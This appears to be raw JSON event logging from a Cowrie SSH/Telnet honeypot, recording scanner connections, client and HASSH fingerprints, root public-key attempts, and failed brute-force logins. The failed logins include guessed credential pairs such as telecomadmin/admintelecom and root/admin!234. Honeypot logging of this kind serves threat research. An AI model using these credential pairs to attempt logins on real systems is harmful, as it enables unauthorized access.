{"eventid":"cowrie.session.closed","duration":12.016199111938477,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:56.935742Z","src_ip":"186.54.121.240","session":"d395735a9d16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.459169626235962,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:57.055851Z","src_ip":"73.174.92.75","session":"6b8f56acb2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.122","src_port":58559,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e735b9d57e9","protocol":"ssh","message":"New connection: 45.33.12.122:58559 (10.17.0.5:22) [session: 1e735b9d57e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:07.914104Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:08.291245Z","src_ip":"45.33.12.122","session":"1e735b9d57e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeab8bfcfc6b","protocol":"telnet","message":"New connection: 199.103.57.63:54740 (159.203.135.109:23) [session: eeab8bfcfc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:30.419208Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":46359,"dst_ip":"10.17.0.5","dst_port":22,"session":"b16d5fe034e0","protocol":"ssh","message":"New connection: 213.209.159.56:46359 (10.17.0.5:22) [session: b16d5fe034e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:30.694937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:30.700355Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:30.782608Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy","message":"login attempt [candy/candy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:31.182624Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy1","message":"login attempt [candy/candy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:32.267764Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy123","message":"login attempt [candy/candy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:33.356427Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy1234","message":"login attempt [candy/candy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:34.441511Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy12345","message":"login attempt [candy/candy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:35.526498Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:36.611399Z","src_ip":"213.209.159.56","session":"b16d5fe034e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":51890,"dst_ip":"10.17.0.5","dst_port":22,"session":"46bfe293045f","protocol":"ssh","message":"New connection: 190.244.39.224:51890 (10.17.0.5:22) [session: 46bfe293045f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:38.982327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:38.989969Z","src_ip":"190.244.39.224","session":"46bfe293045f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:39.194278Z","src_ip":"190.244.39.224","session":"46bfe293045f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":40324,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e2c651994c","protocol":"ssh","message":"New connection: 130.12.181.85:40324 (10.17.0.5:22) [session: 50e2c651994c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:39.971711Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:39.976561Z","src_ip":"130.12.181.85","session":"50e2c651994c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!234","message":"login attempt [root/admin!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:39.986396Z","src_ip":"190.244.39.224","session":"46bfe293045f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":40338,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ee6362ce92","protocol":"ssh","message":"New connection: 130.12.181.85:40338 (10.17.0.5:22) [session: 70ee6362ce92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:40.083213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:40.088200Z","src_ip":"130.12.181.85","session":"70ee6362ce92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:40.191394Z","src_ip":"130.12.181.85","session":"70ee6362ce92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:40.399524Z","src_ip":"130.12.181.85","session":"70ee6362ce92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:41.192885Z","src_ip":"190.244.39.224","session":"46bfe293045f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:41.504898Z","src_ip":"130.12.181.85","session":"70ee6362ce92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53850,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af2419df6c2","protocol":"ssh","message":"New connection: 193.32.162.145:53850 (159.203.135.109:22) [session: 5af2419df6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:56.567373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:56.572007Z","src_ip":"193.32.162.145","session":"5af2419df6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:56.672179Z","src_ip":"193.32.162.145","session":"5af2419df6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:56.993418Z","src_ip":"193.32.162.145","session":"5af2419df6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:36:58.095337Z","src_ip":"193.32.162.145","session":"5af2419df6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1355984210968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:37:01.554598Z","src_ip":"199.103.57.63","session":"eeab8bfcfc6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":19574,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec403be871bc","protocol":"ssh","message":"New connection: 192.95.10.204:19574 (10.17.0.5:22) [session: ec403be871bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.539065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.543344Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.563673Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:a1:70:ae:f7:92:53:08:d1:11:8c:45:a5:f0:19:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3+Uvr8Ai49vuxod/o6ZXab/SwSQCxmxBcPIxPBDnysl11IzdgS4ZlbgnyIpBSpXazNwYItzgHfmPGk2StUm9+Vw6d+67IFb0I725eakFu+w9d4VHFYEyi+L/Ox/6F5TyyOaUPLo46YD6By71E9JX4/4cze8Kl1efD3G4fbSBlbWsM4A73vpe16GrtWlOmsOoYzMskWsMGTBEIltrp7YXOyNoJ4lah3gersPbksgmF+E+K4rlSdhoR2A7DVVeSCY9ZRVG/PpGg/1kxlrSOT7Ks7iOWUfQY6ff/PpYO3VoMzG6CsyiZzQB84Rh3uGkPjVoxMA8XE/2loQ2IMpM4MshP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:a1:70:ae:f7:92:53:08:d1:11:8c:45:a5:f0:19:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.643302Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:a1:70:ae:f7:92:53:08:d1:11:8c:45:a5:f0:19:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3+Uvr8Ai49vuxod/o6ZXab/SwSQCxmxBcPIxPBDnysl11IzdgS4ZlbgnyIpBSpXazNwYItzgHfmPGk2StUm9+Vw6d+67IFb0I725eakFu+w9d4VHFYEyi+L/Ox/6F5TyyOaUPLo46YD6By71E9JX4/4cze8Kl1efD3G4fbSBlbWsM4A73vpe16GrtWlOmsOoYzMskWsMGTBEIltrp7YXOyNoJ4lah3gersPbksgmF+E+K4rlSdhoR2A7DVVeSCY9ZRVG/PpGg/1kxlrSOT7Ks7iOWUfQY6ff/PpYO3VoMzG6CsyiZzQB84Rh3uGkPjVoxMA8XE/2loQ2IMpM4MshP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.647254Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:67:08:a2:d5:4f:ec:1c:f5:91:0f:00:a5:f7:86:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvPd5oaIcl8tLJYvTkJHxbjUPw26cRCWXRWPu64k8GyTRpYiQ7rdv0IyO294vbA0CrsTMCYer6ZJlzo4HfSuwIdhgN6f/hsqA7hF9CM8KmlWDBWEBVD7UeGJg64FX0B89KZ/fDAHa1PpVBuMaLJSoG/pmRTIlFoSVw1uE1YJXjc2NO01T0GCGtg8/YArDBGCFGkGBuHKMchUdZuyoy8HvBd6Ka8F8ZARQ0WateuM8Do8w/Uhrb2tK/jpYgrtOaXpfxlUZPlZbN+ajU7DAzaiwkAg8FwdwmMq6zU9yzOaK7f9Vxq/nRpUzZZcEJuKi+zKS8SdUE6JRVaRCNe6QapQUsmCXG8q6tcrBmo4NUSNX/SLp9d81sNjHHRQR1L29RP5GJFBYU16KlZo17dz0c6c1pMXiSh0VPmAw5ZdaAmHAdmNRIKd2dRgij5O9wII13miReTBuM0JQ8wa30NF8pm3d1qPcikoYWZDhqD3wvlDMaQ9EFfP0ItiaIB90q702aD+9vH+VRATBTRe36U0+JEMHdfTrq3f61jPqdbDUxdAKb04kdz6RaE/tOfOFyuNxgQHRL5b6dO8VX3OtqGEH/luHMNKCJSbopsKQ7EPBPFDwrwRkiWhjIRM5kiKoKfOQxwMJSNJAa1GLUPFY0Gi0a2XBQqhfKZm1csVWeUsg5is1BDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:67:08:a2:d5:4f:ec:1c:f5:91:0f:00:a5:f7:86:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.669597Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:67:08:a2:d5:4f:ec:1c:f5:91:0f:00:a5:f7:86:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvPd5oaIcl8tLJYvTkJHxbjUPw26cRCWXRWPu64k8GyTRpYiQ7rdv0IyO294vbA0CrsTMCYer6ZJlzo4HfSuwIdhgN6f/hsqA7hF9CM8KmlWDBWEBVD7UeGJg64FX0B89KZ/fDAHa1PpVBuMaLJSoG/pmRTIlFoSVw1uE1YJXjc2NO01T0GCGtg8/YArDBGCFGkGBuHKMchUdZuyoy8HvBd6Ka8F8ZARQ0WateuM8Do8w/Uhrb2tK/jpYgrtOaXpfxlUZPlZbN+ajU7DAzaiwkAg8FwdwmMq6zU9yzOaK7f9Vxq/nRpUzZZcEJuKi+zKS8SdUE6JRVaRCNe6QapQUsmCXG8q6tcrBmo4NUSNX/SLp9d81sNjHHRQR1L29RP5GJFBYU16KlZo17dz0c6c1pMXiSh0VPmAw5ZdaAmHAdmNRIKd2dRgij5O9wII13miReTBuM0JQ8wa30NF8pm3d1qPcikoYWZDhqD3wvlDMaQ9EFfP0ItiaIB90q702aD+9vH+VRATBTRe36U0+JEMHdfTrq3f61jPqdbDUxdAKb04kdz6RaE/tOfOFyuNxgQHRL5b6dO8VX3OtqGEH/luHMNKCJSbopsKQ7EPBPFDwrwRkiWhjIRM5kiKoKfOQxwMJSNJAa1GLUPFY0Gi0a2XBQqhfKZm1csVWeUsg5is1BDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.674811Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:8c:ab:81:99:6d:5b:dd:b4:d3:eb:85:31:db:0c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrcAY42CoJ8GX+dIlgf+VKBegqsMGEV5rZphT2pd0jkiAdJXeyFhPS+q5eGiF2R0uqsmTJ7L6DstGT4zjcscMTpDK/Tt9blgg8kNMkqUXBOl+6YL8Lc99dU699JiVP+NdgfX2xvlxIOefZ4ufuZjbBey31V1jJNh85GGdNRffnFjb86pTq4+RHmi3rafDYWuovlckAb6BB/Jbq+mRmdu+jNlyHqGTrID5WBRn1gvYCf3gquxtlnH6Ha1TaZawyjJTXI4uQDAiZxh+8jccyakXjsUVCoUxsKhP48JVGpmfwrgBvx4Mdmb/mZyydzapiUrThdwBIFO59RJnyD01tv7oA1h1uhpm722XAWkcEzsVmixv/eS+gYkIrUX2YsuCE8wf70DekOcvqnRRHqQjUvL3fsPjebAjjFZxq+/3JjbkuoeuVRlEHUSe9I2AhTVxyrsYgim/8XR/rM3Go93JE65WatrcFAlkjaDlLbkhrlx3+SbA1V0Deqw/W/6Q2vApbNKaZbt8fS3SF2o7/1L08yIspcnZ52MLb91iskb9ARv+644jCbS6jNuPUpXcmQNVKd9DW6nxGj4Lnb9SUJXMsraFBOxNLamn0glxACzzccpLNem+/Yg9ixywj1M6otmPI2eKkQPRMTj7ZOUPxQjQGGbSVG3UbBoaCIZGmc8fVg7M51Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:8c:ab:81:99:6d:5b:dd:b4:d3:eb:85:31:db:0c:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:39:08.695628Z","src_ip":"192.95.10.204","session":"ec403be871bc","protocol":"ssh"}
